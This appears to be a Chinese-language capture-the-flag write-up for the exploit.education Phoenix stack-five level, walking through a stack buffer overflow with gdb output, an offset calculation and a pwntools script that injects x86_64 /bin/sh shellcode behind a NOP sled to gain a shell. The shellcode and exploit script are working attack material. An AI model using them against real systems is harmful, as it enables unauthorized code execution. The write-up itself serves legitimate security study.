exploit.education/stack-five

初次体验基于栈溢出的PWN!

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
* phoenix/stack-five, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* What is green and goes to summer camp? A brussel scout.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void start_level() {
char buffer[128];
gets(buffer);
}

int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}

分析

stack-four基本一样,只不过buffer大了一些。
过这个关卡,不是要执行到complete_level函数了,而是要get shell。也就是通过溢出漏洞,来执行我们自己的程序,即shellcode

shellcode就是一段执行返回一个shell的汇编代码。

我们将shellcode写到栈中,再通过溢出控制RIP,让程序去执行我们在栈中写好的shellcode,从而拿到shell

所以,在栈中基本上是这样的:

image-20190411231630801.png
upload successful

为了让我们的shellcode顺利执行,nopsled最好要有,因为有比如环境变量等的影响,栈中的地址会出现小幅度的偏移。

那我们生成payload的脚本也就有了初步的样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

offset = ???? # <===这个大小不知道

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 这是一个x86_64的/bin/sh程序

#ret_addr = ??????? # <===这个地址目前还不知道

buffer = ""
buffer += "\x90" * 70
buffer += shellcode
buffer += "\x90" * (offset - len(buffer))
buffer += p64(ret_addr)

print buffer

实操

先来看下二进制文件信息:

1
2
3
4
5
6
7
8
9
user@phoenix-amd64:~$ checksec /opt/phoenix/amd64/stack-five 
[*] '/opt/phoenix/amd64/stack-five'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
RPATH: '/opt/phoenix/x86_64-linux-musl/lib'

没有保护措施,可以直接写地址跳转。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/stack-five 
Reading symbols from /opt/phoenix/amd64/stack-five...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004005a4 <+0>: push %rbp
0x00000000004005a5 <+1>: mov %rsp,%rbp
0x00000000004005a8 <+4>: sub $0x10,%rsp
0x00000000004005ac <+8>: mov %edi,-0x4(%rbp)
0x00000000004005af <+11>: mov %rsi,-0x10(%rbp)
0x00000000004005b3 <+15>: mov $0x400620,%edi
0x00000000004005b8 <+20>: callq 0x400400 <puts@plt>
0x00000000004005bd <+25>: mov $0x0,%eax
0x00000000004005c2 <+30>: callq 0x40058d <start_level>
0x00000000004005c7 <+35>: mov $0x0,%eax
0x00000000004005cc <+40>: leaveq
0x00000000004005cd <+41>: retq
End of assembler dump.
(gdb) disassemble start_level
Dump of assembler code for function start_level:
0x000000000040058d <+0>: push %rbp
0x000000000040058e <+1>: mov %rsp,%rbp
0x0000000000400591 <+4>: add $0xffffffffffffff80,%rsp
0x0000000000400595 <+8>: lea -0x80(%rbp),%rax
0x0000000000400599 <+12>: mov %rax,%rdi
0x000000000040059c <+15>: callq 0x4003f0 <gets@plt>
0x00000000004005a1 <+20>: nop
0x00000000004005a2 <+21>: leaveq
0x00000000004005a3 <+22>: retq
End of assembler dump.


(gdb) break *0x00000000004005a1
Breakpoint 1 at 0x4005a1
(gdb) r
Starting program: /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
AAAA

Breakpoint 1, 0x00000000004005a1 in start_level ()




(gdb) x/64xw $rsp
0x7fffffffe5a0: 0x41414141 0x00000000 0x00400620 0x00000000
0x7fffffffe5b0: 0x004005a4 0x00000000 0x00000000 0x00000000
0x7fffffffe5c0: 0x00000000 0x00000000 0xf7db6dde 0x00007fff
0x7fffffffe5d0: 0x004005a4 0x00000000 0x00b90035 0x03fb0686
0x7fffffffe5e0: 0x00000000 0x00000000 0xf7db6b1e 0x00007fff
0x7fffffffe5f0: 0xf7ffb300 0x00007fff 0x00000000 0x0a000000
0x7fffffffe600: 0xf7ffb300 0x00007fff 0xf7db9934 0x00007fff
0x7fffffffe610: 0xffffe698 0x00007fff 0xffffe640 0x00007fff
0x7fffffffe620: 0xffffe640 0x00007fff 0x004005c7 0x00000000
0x7fffffffe630: 0xffffe698 0x00007fff 0x00000000 0x00000001
0x7fffffffe640: 0x00000001 0x00000000 0xf7d8fd62 0x00007fff
0x7fffffffe650: 0x00000000 0x00000000 0xffffe690 0x00007fff
0x7fffffffe660: 0x00000000 0x00000000 0xf7ffdbc8 0x00007fff
0x7fffffffe670: 0x00003e00 0x04000001 0x00400459 0x00000000
0x7fffffffe680: 0x00000000 0x00000000 0x00400436 0x00000000
0x7fffffffe690: 0x00000001 0x00000000 0xffffe894 0x00007fff

我们先看了一下main函数与start_level函数的汇编代码,并在程序获取用户输入(gets)函数后下断点。

然后运行程序,并给入AAAA的输入,回车后程序遇到我们的断点停下来,再查看一下栈中的情况。

之前说到,call调用的时候,会将返回地址压栈,所以我们要在栈中找到call下一条命令的地址,即0x04005c7

通过查看栈,可以发现:

1
2
offset = 0x7fffffffe628 - 0x7fffffffe5a0 = 136
rsp = 0x7fffffffe5a0

所以我们只需将RIP这个返回地址写成rsp的地址,程序就会跳到我们的nopsled中去,然后执行shellcode

完美一下我们生成payload的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

from pwn import *

offset = 136

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 这是一个x86_64的/bin/sh程序

ret_addr = 0x7fffffffe5a0

buffer = ""
buffer += "\x90" * 70
buffer += shellcode
buffer += "\x90" * (offset - len(buffer))
buffer += p64(ret_addr)

print buffer

shell

1
2
3
4
5
6
7
8
9
10
11
user@phoenix-amd64:~$ python exp5.py > five2
user@phoenix-amd64:~$ cat five2 | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
user@phoenix-amd64:~$ cat five2 - | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
id
uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)
whoami
phoenix-amd64-stack-five
^C
user@phoenix-amd64:~$

值得注意的是,在这里直接cat five2 | /xxxxxx/stack-five是不能成功的,因为/bin/sh需要输入,而cat命令在输出完我们的payload之后就会关闭输入,导致/bin/sh也退出了。

总结

  1. nopsled比较关键,太小的时候,会使得shellcode执行不完整,出现Program received signal SIGILL, Illegal instruction.的错误提示。
  2. r2实操的部分晚些时候再发上来。得赶紧睡觉了。